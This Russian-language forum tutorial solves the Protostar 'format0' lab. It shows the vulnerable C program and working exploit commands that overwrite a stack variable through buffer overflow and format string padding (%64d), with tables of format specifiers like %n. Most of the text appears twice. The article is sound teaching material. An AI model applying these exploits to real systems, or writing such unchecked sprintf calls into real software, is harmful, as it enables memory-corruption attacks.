Доброго времени суток посетители портала Codeby. Предыдущей статье мы познакомились с ROP. Для обхода ограничения в адресах мы воспользовались ret инструкцией. И хоть тема ROP была освящена не во всей красе, мы к ней еще вернемся. В этой статье мы будем знакомиться с уязвимостями форматных строк и посмотрим к каким последствиям может привести данные баги. И так...
Описание ExploitMe
Этот уровень вводит строки формата и то, как предоставленные злоумышленником строки формата могут изменять ход выполнения программ.
Советы
Исходный код
Решение
Для начала рассмотрим данный нам код программы для того, чтобы понять как это всё дело работает. Начнем как всегда устного анализа. Есть две функции main() и vuln(). В свою очередь, главная функция main() вызывает функцию vuln(), Функция vuln() принимает строку, через аргумент из главной функции. В теле функции vuln(), есть целочисленная переменная target, есть буфер на 64 байта. По мимо всего это присутствует некая функция sprintf(), а так же есть условие if.
Суть задачи в том, что нам надо установить переменную target к значению 0xdeadbeef, как мы догадались из условия if, после, чего на экране должна отобразится строка "you have hit the target correctly ". Которую мы уже видели в свое время, когда работали с переполнение буфера в стеке. Т.е. мы изменяли значение переменной к конкретному значению. Это задание аналогичное. Но вот беда. Тут нету функции gets() и strcpy(). Как быть? Я думаю, что первое, что надо сделать, это посмотреть описание функции sprintf() которая взаимодействует с буфером.
И так, вот краткое описание функции sprintf().
Функция sprintf() идентична printf(), за исключением того, что вывод производится в массив, указанный аргументом buf.
Возвращаемая величина равна количеству символов, действительно занесенных в массив.
Из этого следует, что мы можешь писать в буфер данные.
Давайте попробуем.
Запустим программу и введем последовательность символом из "AAAAAAAAAAAAAAAAAAA...."
Так становится ясно, функция sprintf() тоже не проверяет границы. Она аналогичная функции gets().
Поэтому мы можем выполнить это задание проэксплуатировав уязвимость переполнение буфера.
Эксплуатация уязвимости будет выглядить следующим образом
Результат будет таким
На экране отобразилась строчка "you have hit the target correctly ". Класс...
Но цель задания знакомство с уязвимостями форматирования, т.е. форматных строк.
Уязвимости форматных строк – это довольно обширный класс уязвимостей, которые возникают и могут быть проэксплуатированы вследствие ошибок программистов. Если программист передаёт контролируемый атакующим буфер в качестве аргумента функции printf() (или другую связанную с ней функцию такую, как, например, sprintf(), fprintf()), то злоумышленник может выполнять запись в произвольные места в памяти.
Один из методов использования строк формата очень похож на переполнение буфера. Вы можете записать большую строку в буфер с относительно короткой строкой формата.
Например, строка формата %100d приводит к 100-байтовой строке.
Используя этот трюк, можно просто писать в buffer и в target. Мы хотим создать строку формата , который записывает 64 символа с последующим 0xdeadbeef, что приведет к перезаписи target.
Давайте поэкспериментируем с этим трюком.
Результат будет таким
Видно что мы можем даже перезаписать регистр EIP используя %76d.
Но наша задача сейчас не в этом, а понять как можно реализовать баги форматных строк.
Эксплуатация будет выглядеть и состоять из 3 составляющих.
А всё в месте это будет выглядеть таким образом...
Результат будет таким
Отлично на экране отобразилась строчка "you have hit the target correctly "
Ниже приведены некоторые параметры формата как и в случае %100d, которые можно использовать, и их последствия:
• «%x» Чтение данных из стека
• "%s" Чтение символьных строк из памяти процесса
• «%n» записать целое число в места в памяти процесса
Функция sprintf() не единственная функция в своем роде, есть и другие функции которые подтвержены уязвимостям форматных строк. Ниже приведена табличка.
Таблица 1. Функции форматирования
Чтобы определить, уязвимо ли приложение для этого типа атак, необходимо проверить, принимает ли функция форматирования и анализирует ли параметры строки формата, показанные в таблице 2.
Таблица 2. Общие параметры, используемые при атаке форматной строки.
Для более детального ознакомления нужно заглянуть на
Описание ExploitMe
Этот уровень вводит строки формата и то, как предоставленные злоумышленником строки формата могут изменять ход выполнения программ.
Советы
- Этот уровень должен быть выполнен менее чем за 10 байтов ввода.
- «Использование уязвимостей форматной строки»
Ссылка скрыта от гостей
, VMИсходный код
C:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void vuln(char *string)
{
volatile int target;
char buffer[64];
target = 0;
sprintf(buffer, string);
if(target == 0xdeadbeef) {
printf("you have hit the target correctly :)\n");
}
}
int main(int argc, char **argv)
{
vuln(argv[1]);
}
Решение
Для начала рассмотрим данный нам код программы для того, чтобы понять как это всё дело работает. Начнем как всегда устного анализа. Есть две функции main() и vuln(). В свою очередь, главная функция main() вызывает функцию vuln(), Функция vuln() принимает строку, через аргумент из главной функции. В теле функции vuln(), есть целочисленная переменная target, есть буфер на 64 байта. По мимо всего это присутствует некая функция sprintf(), а так же есть условие if.
Суть задачи в том, что нам надо установить переменную target к значению 0xdeadbeef, как мы догадались из условия if, после, чего на экране должна отобразится строка "you have hit the target correctly ". Которую мы уже видели в свое время, когда работали с переполнение буфера в стеке. Т.е. мы изменяли значение переменной к конкретному значению. Это задание аналогичное. Но вот беда. Тут нету функции gets() и strcpy(). Как быть? Я думаю, что первое, что надо сделать, это посмотреть описание функции sprintf() которая взаимодействует с буфером.
И так, вот краткое описание функции sprintf().
Функция sprintf() идентична printf(), за исключением того, что вывод производится в массив, указанный аргументом buf.
Код:
sprintf(приемник, источник)
Возвращаемая величина равна количеству символов, действительно занесенных в массив.
Из этого следует, что мы можешь писать в буфер данные.
Давайте попробуем.
Запустим программу и введем последовательность символом из "AAAAAAAAAAAAAAAAAAA...."
Так становится ясно, функция sprintf() тоже не проверяет границы. Она аналогичная функции gets().
Поэтому мы можем выполнить это задание проэксплуатировав уязвимость переполнение буфера.
Эксплуатация уязвимости будет выглядить следующим образом
Код:
./format0 `python -c 'print "A"*64 + "\xde\xad\xbe\xef"[::-1]'`
Результат будет таким
На экране отобразилась строчка "you have hit the target correctly ". Класс...
Но цель задания знакомство с уязвимостями форматирования, т.е. форматных строк.
Уязвимости форматных строк – это довольно обширный класс уязвимостей, которые возникают и могут быть проэксплуатированы вследствие ошибок программистов. Если программист передаёт контролируемый атакующим буфер в качестве аргумента функции printf() (или другую связанную с ней функцию такую, как, например, sprintf(), fprintf()), то злоумышленник может выполнять запись в произвольные места в памяти.
Один из методов использования строк формата очень похож на переполнение буфера. Вы можете записать большую строку в буфер с относительно короткой строкой формата.
Например, строка формата %100d приводит к 100-байтовой строке.
Используя этот трюк, можно просто писать в buffer и в target. Мы хотим создать строку формата , который записывает 64 символа с последующим 0xdeadbeef, что приведет к перезаписи target.
Давайте поэкспериментируем с этим трюком.
Код:
$ ./format0 %100d
Segmentation fault
$ ./format0 %50d
$ ./format0 %64d
$ ./format0 %65d
$ ./format0 %68d
$ ./format0 %69d
$ ./format0 %80d
Segmentation fault
$ ./format0 %79d
Segmentation fault
$ ./format0 %76d
Segmentation fault
$ ./format0 %75d
Результат будет таким
Видно что мы можем даже перезаписать регистр EIP используя %76d.
Но наша задача сейчас не в этом, а понять как можно реализовать баги форматных строк.
Эксплуатация будет выглядеть и состоять из 3 составляющих.
Код:
./format0 %64d
$() - известная нам баш конструкция для подстановки значения.
python -c 'from struct import pack;print pack("I",0xdeadbeef)' - наше значение которое попадет в переменную target
А всё в месте это будет выглядеть таким образом...
Код:
./format0 %64d$(python -c 'from struct import pack;print pack("I",0xdeadbeef)')
Результат будет таким
Отлично на экране отобразилась строчка "you have hit the target correctly "
Ниже приведены некоторые параметры формата как и в случае %100d, которые можно использовать, и их последствия:
• «%x» Чтение данных из стека
• "%s" Чтение символьных строк из памяти процесса
• «%n» записать целое число в места в памяти процесса
Функция sprintf() не единственная функция в своем роде, есть и другие функции которые подтвержены уязвимостям форматных строк. Ниже приведена табличка.
Таблица 1. Функции форматирования
Функция форматирования | Описание |
---|---|
fprint | Записывает печать в файл |
printf | Вывести отформатированную строку |
sprintf | Печать в строку |
snprintf | Печатает в строку, проверяя длину |
vfprintf | Распечатывает структуру va_arg в файл |
vprintf | Печатает структуру va_arg в стандартный вывод |
vsprintf | Печатает va_arg в строку |
vsnprintf | Печатает va_arg в строку, проверяя длину |
Чтобы определить, уязвимо ли приложение для этого типа атак, необходимо проверить, принимает ли функция форматирования и анализирует ли параметры строки формата, показанные в таблице 2.
Таблица 2. Общие параметры, используемые при атаке форматной строки.
параметры | Вывод | Проходит как |
---|---|---|
%% | % символьный (буквальный) формат | Cсылка |
%p | Внешнее представление указателя на void | Cсылка |
%d | Десятичный формат | Значение |
%c | Символьный формат | |
%u | Десятичный без знака формат | Значение |
%x | Шестнадцатеричный формат | Значение |
%s | Строка | Cсылка |
%n | Записывает количество символов в указатель | Ccылка |
Для более детального ознакомления нужно заглянуть на
Ссылка скрыта от гостей
. На этом всё. Можно переходить к следующему заданию
Ссылка скрыта от гостей
.
Последнее редактирование: